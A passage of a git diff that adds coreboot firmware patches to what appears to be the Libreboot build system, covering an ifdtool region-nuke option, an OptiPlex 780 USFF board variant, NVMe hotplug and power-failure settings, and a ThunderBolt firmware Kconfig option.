if (!strcasecmp("BIOS", region_type_string)) +- region_type = 1; +- else if (!strcasecmp("ME", region_type_string)) +- region_type = 2; +- else if (!strcasecmp("GbE", region_type_string)) +- region_type = 3; +- else if (!strcasecmp("Platform Data", region_type_string)) +- region_type = 4; +- else if (!strcasecmp("Device Exp1", region_type_string)) +- region_type = 5; +- else if (!strcasecmp("Secondary BIOS", region_type_string)) +- region_type = 6; +- else if (!strcasecmp("Reserved", region_type_string)) +- region_type = 7; +- else if (!strcasecmp("EC", region_type_string)) +- region_type = 8; +- else if (!strcasecmp("Device Exp2", region_type_string)) +- region_type = 9; +- else if (!strcasecmp("IE", region_type_string)) +- region_type = 10; +- else if (!strcasecmp("10GbE_0", region_type_string)) +- region_type = 11; +- else if (!strcasecmp("10GbE_1", region_type_string)) +- region_type = 12; +- else if (!strcasecmp("PTT", region_type_string)) +- region_type = 15; +- if (region_type == -1) { ++ if ((region_type = ++ get_region_type_string(region_type_string)) == -1) { + fprintf(stderr, "No such region type: '%s'\n\n", + region_type_string); + fprintf(stderr, "run '%s -h' for usage\n", argv[0]); +@@ -2533,6 +2563,22 @@ int main(int argc, char *argv[]) + case 't': + mode_validate = 1; + break; ++ case 'N': ++ region_type_string = strdup(optarg); ++ if (!region_type_string) { ++ fprintf(stderr, "No region specified\n"); ++ print_usage(argv[0]); ++ exit(EXIT_FAILURE); ++ } ++ if ((region_type = ++ get_region_type_string(region_type_string)) == -1) { ++ fprintf(stderr, "No such region type: '%s'\n\n", ++ region_type_string); ++ print_usage(argv[0]); ++ exit(EXIT_FAILURE); ++ } ++ mode_nuke = 1; ++ break; + case 'v': + print_version(); + exit(EXIT_SUCCESS); +@@ -2552,7 +2598,8 @@ int main(int argc, char *argv[]) + if ((mode_dump + mode_layout + mode_fmap_template + mode_extract + mode_inject + + mode_setstrap + mode_newlayout + (mode_spifreq | mode_em100 | + mode_unlocked | mode_locked) + mode_altmedisable + mode_validate + +- (mode_gpr0_disable | mode_gpr0_enable) + mode_gpr0_status) > 1) { ++ (mode_gpr0_disable | mode_gpr0_enable) + mode_gpr0_status + ++ mode_nuke) > 1) { + fprintf(stderr, "You may not specify more than one mode.\n\n"); + fprintf(stderr, "run '%s -h' for usage\n", argv[0]); + exit(EXIT_FAILURE); +@@ -2561,7 +2608,8 @@ int main(int argc, char *argv[]) + if ((mode_dump + mode_layout + mode_fmap_template + mode_extract + mode_inject + + mode_setstrap + mode_newlayout + mode_spifreq + mode_em100 + + mode_locked + mode_unlocked + mode_density + mode_altmedisable + +- mode_validate + (mode_gpr0_disable | mode_gpr0_enable) + mode_gpr0_status) == 0) { ++ mode_validate + (mode_gpr0_disable | mode_gpr0_enable) + mode_gpr0_status + ++ mode_nuke) == 0) { + fprintf(stderr, "You need to specify a mode.\n\n"); + fprintf(stderr, "run '%s -h' for usage\n", argv[0]); + exit(EXIT_FAILURE); +@@ -2674,6 +2722,10 @@ int main(int argc, char *argv[]) + write_image(new_filename, image, size); + } + ++ if (mode_nuke) { ++ nuke(new_filename, image, size, region_type); ++ } ++ + if (mode_altmedisable) { + struct fpsba *fpsba = find_fpsba(image, size); + struct fmsba *fmsba = find_fmsba(image, size); +-- +2.39.5 + diff --git a/patches/coreboot-t480/0006-Remove-warning-for-coreboot-images-built-without-a-p.patch b/patches/coreboot-t480/0006-Remove-warning-for-coreboot-images-built-without-a-p.patch new file mode 100644 index 000000000..3ff127244 --- /dev/null +++ b/patches/coreboot-t480/0006-Remove-warning-for-coreboot-images-built-without-a-p.patch @@ -0,0 +1,39 @@ +From 8230acfb9e1f692202b306ffb10fe89f783ab4e8 Mon Sep 17 00:00:00 2001 +From: Nicholas Chin +Date: Fri, 12 May 2023 19:55:15 -0600 +Subject: [PATCH 06/11] Remove warning for coreboot images built without a + payload + +I added this in upstream to prevent people from accidentally flashing +roms without a payload resulting in a no boot situation, but in +libreboot lbmk handles the payload and thus this warning always comes +up. This has caused confusion and concern so just patch it out. +--- + payloads/Makefile.mk | 13 +------------ + 1 file changed, 1 insertion(+), 12 deletions(-) + +diff --git a/payloads/Makefile.mk b/payloads/Makefile.mk +index 5f988dac1b..516133880f 100644 +--- a/payloads/Makefile.mk ++++ b/payloads/Makefile.mk +@@ -50,16 +50,5 @@ distclean-payloads: + print-repo-info-payloads: + -$(foreach payload, $(PAYLOADS_LIST), $(MAKE) -C $(payload) print-repo-info 2>/dev/null; ) + +-ifeq ($(CONFIG_PAYLOAD_NONE),y) +-show_notices:: warn_no_payload +-endif +- +-warn_no_payload: +- printf "\n\t** WARNING **\n" +- printf "coreboot has been built without a payload. Writing\n" +- printf "a coreboot image without a payload to your board's\n" +- printf "flash chip will result in a non-booting system. You\n" +- printf "can use cbfstool to add a payload to the image.\n\n" +- + .PHONY: force-payload coreinfo nvramcui +-.PHONY: clean-payloads distclean-payloads print-repo-info-payloads warn_no_payload ++.PHONY: clean-payloads distclean-payloads print-repo-info-payloads +-- +2.39.5 + diff --git a/patches/coreboot-t480/0007-mb-dell-optiplex_780-Add-USFF-variant.patch b/patches/coreboot-t480/0007-mb-dell-optiplex_780-Add-USFF-variant.patch new file mode 100644 index 000000000..637b72664 --- /dev/null +++ b/patches/coreboot-t480/0007-mb-dell-optiplex_780-Add-USFF-variant.patch @@ -0,0 +1,326 @@ +From 41b93b8786ba14830648cd166f86b6317d655359 Mon Sep 17 00:00:00 2001 +From: Nicholas Chin +Date: Wed, 30 Oct 2024 20:55:25 -0600 +Subject: [PATCH 07/11] mb/dell/optiplex_780: Add USFF variant + +Change-Id: I3aa21c743749f4a11a2501f4c121316bd2f1a103 +Signed-off-by: Nicholas Chin +--- + src/mainboard/dell/optiplex_780/Kconfig | 5 + + src/mainboard/dell/optiplex_780/Kconfig.name | 3 + + .../optiplex_780/variants/780_usff/data.vbt | Bin 0 -> 1917 bytes + .../variants/780_usff/early_init.c | 9 + + .../optiplex_780/variants/780_usff/gpio.c | 166 ++++++++++++++++++ + .../optiplex_780/variants/780_usff/hda_verb.c | 26 +++ + .../variants/780_usff/overridetree.cb | 10 ++ + 7 files changed, 219 insertions(+) + create mode 100644 src/mainboard/dell/optiplex_780/variants/780_usff/data.vbt + create mode 100644 src/mainboard/dell/optiplex_780/variants/780_usff/early_init.c + create mode 100644 src/mainboard/dell/optiplex_780/variants/780_usff/gpio.c + create mode 100644 src/mainboard/dell/optiplex_780/variants/780_usff/hda_verb.c + create mode 100644 src/mainboard/dell/optiplex_780/variants/780_usff/overridetree.cb + +diff --git a/src/mainboard/dell/optiplex_780/Kconfig b/src/mainboard/dell/optiplex_780/Kconfig +index 2d06c75c9a..fc649e35d5 100644 +--- a/src/mainboard/dell/optiplex_780/Kconfig ++++ b/src/mainboard/dell/optiplex_780/Kconfig +@@ -20,6 +20,9 @@ config BOARD_DELL_OPTIPLEX_780_COMMON + config BOARD_DELL_OPTIPLEX_780_MT + select BOARD_DELL_OPTIPLEX_780_COMMON + ++config BOARD_DELL_OPTIPLEX_780_USFF ++ select BOARD_DELL_OPTIPLEX_780_COMMON ++ + if BOARD_DELL_OPTIPLEX_780_COMMON + + config VGA_BIOS_ID +@@ -30,11 +33,13 @@ config MAINBOARD_DIR + + config MAINBOARD_PART_NUMBER + default "OptiPlex 780 MT" if BOARD_DELL_OPTIPLEX_780_MT ++ default "OptiPlex 780 USFF" if BOARD_DELL_OPTIPLEX_780_USFF + + config OVERRIDE_DEVICETREE + default "variants/\$(CONFIG_VARIANT_DIR)/overridetree.cb" + + config VARIANT_DIR + default "780_mt" if BOARD_DELL_OPTIPLEX_780_MT ++ default "780_usff" if BOARD_DELL_OPTIPLEX_780_USFF + + endif # BOARD_DELL_OPTIPLEX_780_COMMON +diff --git a/src/mainboard/dell/optiplex_780/Kconfig.name b/src/mainboard/dell/optiplex_780/Kconfig.name +index db7f2e8fe3..bc84c82a79 100644 +--- a/src/mainboard/dell/optiplex_780/Kconfig.name ++++ b/src/mainboard/dell/optiplex_780/Kconfig.name +@@ -2,3 +2,6 @@ + + config BOARD_DELL_OPTIPLEX_780_MT + bool "OptiPlex 780 MT" ++ ++config BOARD_DELL_OPTIPLEX_780_USFF ++ bool "OptiPlex 780 USFF" +diff --git a/src/mainboard/dell/optiplex_780/variants/780_usff/data.vbt b/src/mainboard/dell/optiplex_780/variants/780_usff/data.vbt +new file mode 100644 +index 0000000000000000000000000000000000000000..dbd764f285ed18f7ee9c54bc777560138bd9b5f7 +GIT binary patch +literal 1917 +zcmd6nO>7%Q6vzLwGv3{}j$^l`v7@w1q*9sEq+2(b3K>`@c5#TSx@iP+W+B10OwbsGtX=N(gc4jSGjKDkP+yIUo^nsel8$^ny^9H?td8Ra=EiCEn=G +z@6DV4?!2AdojnUv^Rirgvs$heXUkGs9S+{Jc2WPhP0buTak^BTFP@&N9-E$(UtuSX +zS{r`=b+EX|Ig`2a*^5oDdG>8jE-1BBxs`*jgrf_sj_fP;%L|PwURRcCFBMCroNRQv +zmp$2TUhc}qJMB(u#jDG@x6(N85thC4%Z=8hiN}lj&zb2~``u3C;?lCrPQOTnInFqB +zhvdwqWv?lxTb=fVEH;~RPHDPw&g*&|s$pU7!7x2mLBtAF!g>K`zPnkx!DpPHuk6{_zc*0qi7)Aet$T +z1ks@8hWS#+6cI5)j1oD86{5PX8Zu2(^OC6M`xo)V)Ow=U6P12c +z=U0uNC9T9v{)-|#h(mSX*hSA8)ZeocL7l4J&!{RSO{6~oTtyn535j!RQh#GA*wTF8 +zvasRbO~d!?*FbM3K`W?lHx=v*(jiARIhWyh4^io|;n?@1H>uqJy>0sjV-Dt)_=%bE +zgNO3D@uE5m+7aqi?Y8b+inye%Z=HUmgBtaZ3Lc%OLt+bo+)5BjVwT<{mxT`nde$vb +zV99s{>`r76L#Hr6XW6r|>HT47I`**Q#Vu0QW!^VP-9S{xXzpq_zS#9k-;aXz?b+S!Ne$Kkk6dq&Hj-x+kx1W-4#E&beDT*S)=&NoSE?<-w!G@~aW()0ZN4O&=Q+nZa)p%Vd$k-_$a= +T#w3FFBiyj ++ ++void mb_get_spd_map(u8 spd_map[4]) ++{ ++ spd_map[0] = 0x50; ++ spd_map[2] = 0x52; ++} +diff --git a/src/mainboard/dell/optiplex_780/variants/780_usff/gpio.c b/src/mainboard/dell/optiplex_780/variants/780_usff/gpio.c +new file mode 100644 +index 0000000000..389f4077d7 +--- /dev/null ++++ b/src/mainboard/dell/optiplex_780/variants/780_usff/gpio.c +@@ -0,0 +1,166 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++ ++static const struct pch_gpio_set1 pch_gpio_set1_mode = { ++ .gpio0 = GPIO_MODE_NATIVE, ++ .gpio1 = GPIO_MODE_NATIVE, ++ .gpio2 = GPIO_MODE_GPIO, ++ .gpio3 = GPIO_MODE_GPIO, ++ .gpio4 = GPIO_MODE_GPIO, ++ .gpio5 = GPIO_MODE_GPIO, ++ .gpio6 = GPIO_MODE_GPIO, ++ .gpio7 = GPIO_MODE_NATIVE, ++ .gpio8 = GPIO_MODE_NATIVE, ++ .gpio9 = GPIO_MODE_GPIO, ++ .gpio10 = GPIO_MODE_GPIO, ++ .gpio11 = GPIO_MODE_NATIVE, ++ .gpio12 = GPIO_MODE_NATIVE, ++ .gpio13 = GPIO_MODE_GPIO, ++ .gpio14 = GPIO_MODE_GPIO, ++ .gpio15 = GPIO_MODE_NATIVE, ++ .gpio16 = GPIO_MODE_GPIO, ++ .gpio17 = GPIO_MODE_NATIVE, ++ .gpio18 = GPIO_MODE_GPIO, ++ .gpio19 = GPIO_MODE_GPIO, ++ .gpio20 = GPIO_MODE_GPIO, ++ .gpio21 = GPIO_MODE_GPIO, ++ .gpio22 = GPIO_MODE_GPIO, ++ .gpio23 = GPIO_MODE_NATIVE, ++ .gpio24 = GPIO_MODE_GPIO, ++ .gpio25 = GPIO_MODE_NATIVE, ++ .gpio26 = GPIO_MODE_NATIVE, ++ .gpio27 = GPIO_MODE_GPIO, ++ .gpio28 = GPIO_MODE_GPIO, ++ .gpio29 = GPIO_MODE_GPIO, ++ .gpio30 = GPIO_MODE_GPIO, ++ .gpio31 = GPIO_MODE_GPIO, ++}; ++ ++static const struct pch_gpio_set1 pch_gpio_set1_direction = { ++ .gpio2 = GPIO_DIR_INPUT, ++ .gpio3 = GPIO_DIR_INPUT, ++ .gpio4 = GPIO_DIR_INPUT, ++ .gpio5 = GPIO_DIR_INPUT, ++ .gpio6 = GPIO_DIR_INPUT, ++ .gpio9 = GPIO_DIR_OUTPUT, ++ .gpio10 = GPIO_DIR_INPUT, ++ .gpio13 = GPIO_DIR_INPUT, ++ .gpio14 = GPIO_DIR_INPUT, ++ .gpio16 = GPIO_DIR_INPUT, ++ .gpio18 = GPIO_DIR_OUTPUT, ++ .gpio19 = GPIO_DIR_INPUT, ++ .gpio20 = GPIO_DIR_OUTPUT, ++ .gpio21 = GPIO_DIR_INPUT, ++ .gpio22 = GPIO_DIR_INPUT, ++ .gpio24 = GPIO_DIR_INPUT, ++ .gpio27 = GPIO_DIR_INPUT, ++ .gpio28 = GPIO_DIR_OUTPUT, ++ .gpio29 = GPIO_DIR_INPUT, ++ .gpio30 = GPIO_DIR_INPUT, ++ .gpio31 = GPIO_DIR_INPUT, ++}; ++ ++static const struct pch_gpio_set1 pch_gpio_set1_level = { ++ .gpio9 = GPIO_LEVEL_HIGH, ++ .gpio18 = GPIO_LEVEL_HIGH, ++ .gpio20 = GPIO_LEVEL_HIGH, ++ .gpio28 = GPIO_LEVEL_HIGH, ++}; ++ ++static const struct pch_gpio_set1 pch_gpio_set1_blink = { ++}; ++ ++static const struct pch_gpio_set1 pch_gpio_set1_invert = { ++ .gpio13 = GPIO_INVERT, ++}; ++ ++static const struct pch_gpio_set2 pch_gpio_set2_mode = { ++ .gpio32 = GPIO_MODE_GPIO, ++ .gpio33 = GPIO_MODE_GPIO, ++ .gpio34 = GPIO_MODE_GPIO, ++ .gpio35 = GPIO_MODE_GPIO, ++ .gpio36 = GPIO_MODE_GPIO, ++ .gpio37 = GPIO_MODE_GPIO, ++ .gpio38 = GPIO_MODE_GPIO, ++ .gpio39 = GPIO_MODE_GPIO, ++ .gpio40 = GPIO_MODE_NATIVE, ++ .gpio41 = GPIO_MODE_NATIVE, ++ .gpio42 = GPIO_MODE_NATIVE, ++ .gpio43 = GPIO_MODE_NATIVE, ++ .gpio44 = GPIO_MODE_NATIVE, ++ .gpio45 = GPIO_MODE_NATIVE, ++ .gpio46 = GPIO_MODE_NATIVE, ++ .gpio47 = GPIO_MODE_NATIVE, ++ .gpio48 = GPIO_MODE_GPIO, ++ .gpio49 = GPIO_MODE_GPIO, ++ .gpio50 = GPIO_MODE_NATIVE, ++ .gpio51 = GPIO_MODE_NATIVE, ++ .gpio52 = GPIO_MODE_NATIVE, ++ .gpio53 = GPIO_MODE_NATIVE, ++ .gpio54 = GPIO_MODE_GPIO, ++ .gpio55 = GPIO_MODE_NATIVE, ++ .gpio56 = GPIO_MODE_GPIO, ++ .gpio57 = GPIO_MODE_GPIO, ++ .gpio58 = GPIO_MODE_NATIVE, ++ .gpio59 = GPIO_MODE_NATIVE, ++ .gpio60 = GPIO_MODE_GPIO, ++ .gpio61 = GPIO_MODE_NATIVE, ++ .gpio62 = GPIO_MODE_NATIVE, ++ .gpio63 = GPIO_MODE_NATIVE, ++}; ++ ++static const struct pch_gpio_set2 pch_gpio_set2_direction = { ++ .gpio32 = GPIO_DIR_INPUT, ++ .gpio33 = GPIO_DIR_INPUT, ++ .gpio34 = GPIO_DIR_INPUT, ++ .gpio35 = GPIO_DIR_OUTPUT, ++ .gpio36 = GPIO_DIR_INPUT, ++ .gpio37 = GPIO_DIR_INPUT, ++ .gpio38 = GPIO_DIR_INPUT, ++ .gpio39 = GPIO_DIR_INPUT, ++ .gpio48 = GPIO_DIR_INPUT, ++ .gpio49 = GPIO_DIR_OUTPUT, ++ .gpio54 = GPIO_DIR_INPUT, ++ .gpio56 = GPIO_DIR_OUTPUT, ++ .gpio57 = GPIO_DIR_INPUT, ++ .gpio60 = GPIO_DIR_OUTPUT, ++}; ++ ++static const struct pch_gpio_set2 pch_gpio_set2_level = { ++ .gpio35 = GPIO_LEVEL_LOW, ++ .gpio49 = GPIO_LEVEL_HIGH, ++ .gpio56 = GPIO_LEVEL_HIGH, ++ .gpio60 = GPIO_LEVEL_LOW, ++}; ++ ++static const struct pch_gpio_set3 pch_gpio_set3_mode = { ++ .gpio72 = GPIO_MODE_GPIO, ++}; ++ ++static const struct pch_gpio_set3 pch_gpio_set3_direction = { ++ .gpio72 = GPIO_DIR_INPUT, ++}; ++ ++static const struct pch_gpio_set3 pch_gpio_set3_level = { ++}; ++ ++const struct pch_gpio_map mainboard_gpio_map = { ++ .set1 = { ++ .mode = &pch_gpio_set1_mode, ++ .direction = &pch_gpio_set1_direction, ++ .level = &pch_gpio_set1_level, ++ .blink = &pch_gpio_set1_blink, ++ .invert = &pch_gpio_set1_invert, ++ }, ++ .set2 = { ++ .mode = &pch_gpio_set2_mode, ++ .direction = &pch_gpio_set2_direction, ++ .level = &pch_gpio_set2_level, ++ }, ++ .set3 = { ++ .mode = &pch_gpio_set3_mode, ++ .direction = &pch_gpio_set3_direction, ++ .level = &pch_gpio_set3_level, ++ }, ++}; +diff --git a/src/mainboard/dell/optiplex_780/variants/780_usff/hda_verb.c b/src/mainboard/dell/optiplex_780/variants/780_usff/hda_verb.c +new file mode 100644 +index 0000000000..c94e06b156 +--- /dev/null ++++ b/src/mainboard/dell/optiplex_780/variants/780_usff/hda_verb.c +@@ -0,0 +1,26 @@ ++/* SPDX-License-Identifier: GPL-2.0-or-later */ ++ ++#include ++ ++const u32 cim_verb_data[] = { ++ /* coreboot specific header */ ++ 0x11d4194a, /* Analog Devices AD1984A */ ++ 0x10280420, /* Subsystem ID */ ++ 10, /* Number of entries */ ++ ++ /* Pin Widget Verb Table */ ++ AZALIA_PIN_CFG(0, 0x11, 0x02214040), ++ AZALIA_PIN_CFG(0, 0x12, 0x01014010), ++ AZALIA_PIN_CFG(0, 0x13, 0x991301f0), ++ AZALIA_PIN_CFG(0, 0x14, 0x02a19020), ++ AZALIA_PIN_CFG(0, 0x15, 0x01813030), ++ AZALIA_PIN_CFG(0, 0x16, 0x413301f0), ++ AZALIA_PIN_CFG(0, 0x17, 0x41a601f0), ++ AZALIA_PIN_CFG(0, 0x1a, 0x41f301f0), ++ AZALIA_PIN_CFG(0, 0x1b, 0x414501f0), ++ AZALIA_PIN_CFG(0, 0x1c, 0x413301f0), ++}; ++ ++const u32 pc_beep_verbs[0] = {}; ++ ++AZALIA_ARRAY_SIZES; +diff --git a/src/mainboard/dell/optiplex_780/variants/780_usff/overridetree.cb b/src/mainboard/dell/optiplex_780/variants/780_usff/overridetree.cb +new file mode 100644 +index 0000000000..555b1c1f5c +--- /dev/null ++++ b/src/mainboard/dell/optiplex_780/variants/780_usff/overridetree.cb +@@ -0,0 +1,10 @@ ++## SPDX-License-Identifier: GPL-2.0-or-later ++ ++chip northbridge/intel/x4x ++ device domain 0 on ++ chip southbridge/intel/i82801jx ++ device pci 1c.0 on end # PCIe 1 ++ device pci 1c.1 on end # PCIe 2 ++ end ++ end ++end +-- +2.39.5 + diff --git a/patches/coreboot-t480/0008-dell-3050micro-disable-nvme-hotplug.patch b/patches/coreboot-t480/0008-dell-3050micro-disable-nvme-hotplug.patch new file mode 100644 index 000000000..daeb0fa19 --- /dev/null +++ b/patches/coreboot-t480/0008-dell-3050micro-disable-nvme-hotplug.patch @@ -0,0 +1,49 @@ +From c8192c52b2bfa93aeb6c6639476ca217e33c4313 Mon Sep 17 00:00:00 2001 +From: Leah Rowe +Date: Wed, 11 Dec 2024 01:06:01 +0000 +Subject: [PATCH 08/11] dell/3050micro: disable nvme hotplug + +in my testing, when running my 3050micro for a few days, +the nvme would sometimes randomly rename. + +e.g. nvme0n1 renamed to nvme0n2 + +this might cause crashes in linux, if booting only from the +nvme. in my case, i was booting from mdraid (sata+nvme) and +every few days, the nvme would rename at least once, causing +my RAID to become unsynced. since i'm using RAID1, this was +OK and I could simply re-sync the array, but this is quite +precarious indeed. if you're using raid0, that will potentially +corrupt your RAID array indefinitely. + +this same issue manifested on the T480/T480 thinkpads, and +S3 resume would break because of that, when booting from nvme, +because the nvme would be "unplugged" and appear to linux as a +new device (the one that you booted from). + +the fix there was to disable hotplugging on that pci-e slot +for the nvme, so apply the same fix here for 3050 micro + +Signed-off-by: Leah Rowe +--- + src/mainboard/dell/optiplex_3050/devicetree.cb | 4 +++- + 1 file changed, 3 insertions(+), 1 deletion(-) + +diff --git a/src/mainboard/dell/optiplex_3050/devicetree.cb b/src/mainboard/dell/optiplex_3050/devicetree.cb +index 039709aa4a..0678ed1765 100644 +--- a/src/mainboard/dell/optiplex_3050/devicetree.cb ++++ b/src/mainboard/dell/optiplex_3050/devicetree.cb +@@ -45,7 +45,9 @@ chip soc/intel/skylake + register "PcieRpAdvancedErrorReporting[20]" = "1" + register "PcieRpLtrEnable[20]" = "1" + register "PcieRpClkSrcNumber[20]" = "3" +- register "PcieRpHotPlug[20]" = "1" ++# disable hotplug on nvme to prevent renaming e.g. nvme0n1 rename to nvme0n2, ++# which could cause crashes in linux if booting from nvme ++ register "PcieRpHotPlug[20]" = "0" + end + + # Realtek LAN +-- +2.39.5 + diff --git a/patches/coreboot-t480/0009-lenovo-Add-Kconfig-option-CONFIG_LENOVO_TBFW_BIN.patch b/patches/coreboot-t480/0009-lenovo-Add-Kconfig-option-CONFIG_LENOVO_TBFW_BIN.patch new file mode 100644 index 000000000..cd6cdb029 --- /dev/null +++ b/patches/coreboot-t480/0009-lenovo-Add-Kconfig-option-CONFIG_LENOVO_TBFW_BIN.patch @@ -0,0 +1,78 @@ +From 35295d97b08ee659b6770ce39003732a4bdfb6a0 Mon Sep 17 00:00:00 2001 +From: Leah Rowe +Date: Wed, 18 Dec 2024 02:06:18 +0000 +Subject: [PATCH 09/11] lenovo: Add Kconfig option CONFIG_LENOVO_TBFW_BIN + +This is used by lbmk to know where a tb.bin file goes, +when extracting and padding TBT.bin from Lenovo ThunderBolt +firmware updates on T480/T480s and other machines, grabbing +Lenovo update files. + +Not used in any builds, so it's not relevant for ./mk inject + +However, the ThunderBolt firmware is now auto-downloaded on +T480/T480s. This is not inserted, because it doesn't go in +the main flash, but the resulting ROM image can be flashed +on the TB controller's separate flash chip. + +Locations are as follows: + +vendorfiles/t480s/tb.bin +vendorfiles/t480/tb.bin + +This can be used for other affected ThinkPads when they're +added to Libreboot, but note that Lenovo provides different +TB firmware files for each machine. + +Since I assume it's the same TB controller on all of those +machines, I have to wonder: what difference is there between +the various TBT.bin files provided by Lenovo, and how do they +differ in terms of actual flashed configuration? + +We simply flash the padded TBT.bin when updating the firmware, +flashing externally. That's what this patch is for, so that +lbmk can auto-download them. + +Signed-off-by: Leah Rowe +--- + src/mainboard/lenovo/Kconfig | 26 ++++++++++++++++++++++++++ + 1 file changed, 26 insertions(+) + +diff --git a/src/mainboard/lenovo/Kconfig b/src/mainboard/lenovo/Kconfig +index 2ffbaab85f..512b326381 100644 +--- a/src/mainboard/lenovo/Kconfig ++++ b/src/mainboard/lenovo/Kconfig +@@ -18,4 +18,30 @@ config MAINBOARD_FAMILY + string + default MAINBOARD_PART_NUMBER + ++config LENOVO_TBFW_BIN ++ string "Lenovo ThunderBolt firmware bin file" ++ default "" ++ help ++ ThunderBolt firmware for certain ThinkPad models e.g. T480. ++ Not used in the actual build. Libreboot's build system uses this ++ along with config/vendor/*/pkg.cfg entries defining a URL to the ++ Lenovo download link and hash. The resulting file when processed by ++ lbmk can be flashed to the ThunderBolt firmware's 25XX NOR device. ++ Earlier versions of this firmware had debug commands enabled that ++ sent logs to said flash IC, and it would quickly fill up, bricking ++ the ThunderBolt controller. With these updates, flashed externally, ++ you can fix the issue if present or otherwise prevent it. The benefit ++ here is that you then don't need to use Windows or a boot disk. You ++ can flash the TB firmware while flashing Libreboot firmware. Easy! ++ Look for these variables in lbmk: ++ TBFW_url TBFW_url_bkup TBFW_hash and look at how it handles that and ++ CONFIG_LENOVO_TBFW_BIN, in lbmk's include/vendor.sh file. ++ The path set by CONFIG_LENOVO_TBFW_BIN is used by lbmk when extracting ++ the firmware, putting it at that desired location. In this way, lbmk ++ can auto-download such firmware. E.g. ./mk -d coreboot t480_fsp_16mb ++ and it appears at vendorfiles/t480/tb.bin fully padded and everything! ++ ++ Just leave this blank if you don't care about this option. It's not ++ useful for every ThinkPad, only certain models. ++ + endif # VENDOR_LENOVO +-- +2.39.5 + diff --git a/patches/coreboot-t480/0010-soc-intel-skylake-Don-t-compress-FSP-S.patch b/patches/coreboot-t480/0010-soc-intel-skylake-Don-t-compress-FSP-S.patch new file mode 100644 index 000000000..228170eb5 --- /dev/null +++ b/patches/coreboot-t480/0010-soc-intel-skylake-Don-t-compress-FSP-S.patch @@ -0,0 +1,36 @@ +From f08dbaacf747eb198bbc8f83e0220ca803f19116 Mon Sep 17 00:00:00 2001 +From: Leah Rowe +Date: Thu, 26 Dec 2024 19:45:20 +0000 +Subject: [PATCH 10/11] soc/intel/skylake: Don't compress FSP-S + +Build systems like lbmk need to reproducibly insert +certain vendor files on release images. + +Compression isn't always reproducible, and making it +so costs a lot more time than simply disabling compression. + +With this change, the FSP-S module will now be inserted +without compression, which means that there will now be +about 40KB of extra space used in the flash. + +Signed-off-by: Leah Rowe +--- + src/soc/intel/skylake/Kconfig | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/src/soc/intel/skylake/Kconfig b/src/soc/intel/skylake/Kconfig +index c24df2ef75..8e25f796ed 100644 +--- a/src/soc/intel/skylake/Kconfig ++++ b/src/soc/intel/skylake/Kconfig +@@ -12,7 +12,7 @@ config SOC_INTEL_COMMON_SKYLAKE_BASE + select CPU_SUPPORTS_PM_TIMER_EMULATION + select DRIVERS_USB_ACPI + select EDK2_CPU_TIMER_LIB if PAYLOAD_EDK2 +- select FSP_COMPRESS_FSP_S_LZ4 ++# select FSP_COMPRESS_FSP_S_LZ4 + select FSP_M_XIP + select GENERIC_GPIO_LIB + select HAVE_FSP_GOP +-- +2.39.5 + diff --git a/patches/coreboot-t480/0011-soc-intel-pmc-Hardcoded-poweroff-after-power-fail.patch b/patches/coreboot-t480/0011-soc-intel-pmc-Hardcoded-poweroff-after-power-fail.patch new file mode 100644 index 000000000..7dae2d6ad --- /dev/null +++ b/patches/coreboot-t480/0011-soc-intel-pmc-Hardcoded-poweroff-after-power-fail.patch @@ -0,0 +1,82 @@ +From 12ff6e798d1cefc5b888e6035e52bf6d70c9ca47 Mon Sep 17 00:00:00 2001 +From: Leah Rowe +Date: Tue, 31 Dec 2024 01:40:42 +0000 +Subject: [PATCH 11/11] soc/intel/pmc: Hardcoded poweroff after power fail + +Coreboot can set the power state for power on after previous +power failure, based on the option table. On the ThinkPad T480, +we have no nvram and, due to coreboot's design, we therefore +have no option table, so the default setting is enabled. + +In my testing, this seems to be that the system will turn on +after a power failure. If your ThinkPad was previously in a state +where it wouldn't turn on when plugging in the power, it'd be fine. + +If your battery ran out later on, this would be triggered and +your ThinkPad would permanently turn on, when plugging in a charger, +and there is currently no way to configure this behaviour. + +We currently only use the common SoC PMC code on the ThinkPad +T480, T480s and the Dell OptiPlex 3050 Micro, at the time of +this patch, and it is desirable that the system be set to power +off after power fail anyway. + +In some cases, you might want the opposite, for example if you're +running a server. This will be documented on the website, for that +reason. + +Signed-off-by: Leah Rowe +--- + src/soc/intel/common/block/pmc/pmclib.c | 36 +++---------------------- + 1 file changed, 4 insertions(+), 32 deletions(-) + +diff --git a/src/soc/intel/common/block/pmc/pmclib.c b/src/soc/intel/common/block/pmc/pmclib.c +index 0fadd6e409..843581b285 100644 +--- a/src/soc/intel/common/block/pmc/pmclib.c ++++ b/src/soc/intel/common/block/pmc/pmclib.c +@@ -760,38 +760,10 @@ void pmc_clear_pmcon_sts(void) + + void pmc_set_power_failure_state(const bool target_on) + { +- const unsigned int state = get_uint_option("power_on_after_fail", +- CONFIG_MAINBOARD_POWER_FAILURE_STATE); +- +- /* +- * On the shutdown path (target_on == false), we only need to +- * update the register for MAINBOARD_POWER_STATE_PREVIOUS. For +- * all other cases, we don't write the register to avoid clob- +- * bering the value set on the boot path. This is necessary, +- * for instance, when we can't access the option backend in SMM. +- */ +- +- switch (state) { +- case MAINBOARD_POWER_STATE_OFF: +- if (!target_on) +- break; +- printk(BIOS_INFO, "Set power off after power failure.\n"); +- pmc_soc_set_afterg3_en(false); +- break; +- case MAINBOARD_POWER_STATE_ON: +- if (!target_on) +- break; +- printk(BIOS_INFO, "Set power on after power failure.\n"); +- pmc_soc_set_afterg3_en(true); +- break; +- case MAINBOARD_POWER_STATE_PREVIOUS: +- printk(BIOS_INFO, "Keep power state after power failure.\n"); +- pmc_soc_set_afterg3_en(target_on); +- break; +- default: +- printk(BIOS_WARNING, "Unknown power-failure state: %d\n", state); +- break; +- } ++ if (!target_on) ++ return; ++ printk(BIOS_INFO, "Set power off after power failure.\n"); ++ pmc_soc_set_afterg3_en(false); + } + + /* This function returns the highest assertion duration of the SLP_Sx assertion widths */ +-- +2.39.5 + diff --git a/patches/coreboot-t480/0012-ec-dasharo-Comment-EC_DASHARO_EC_FLASH_SIZE.patch b/patches/coreboot-t480/0012-ec-dasharo-Comment-EC_DASHARO_EC_FLASH_SIZE.patch new file mode 100644 index 000000000..5e4e6edb3 --- /dev/null +++ b/patches/coreboot-t480/0012-ec-dasharo-Comment-EC_DASHARO_EC_FLASH_SIZE.patch @@ -0,0 +1,32 @@ +From 916c7b027faba625b922e74e45e50f9ceab64a64 Mon Sep 17 00:00:00 2001 +From: Leah Rowe +Date: Mon, 6 Jan 2025 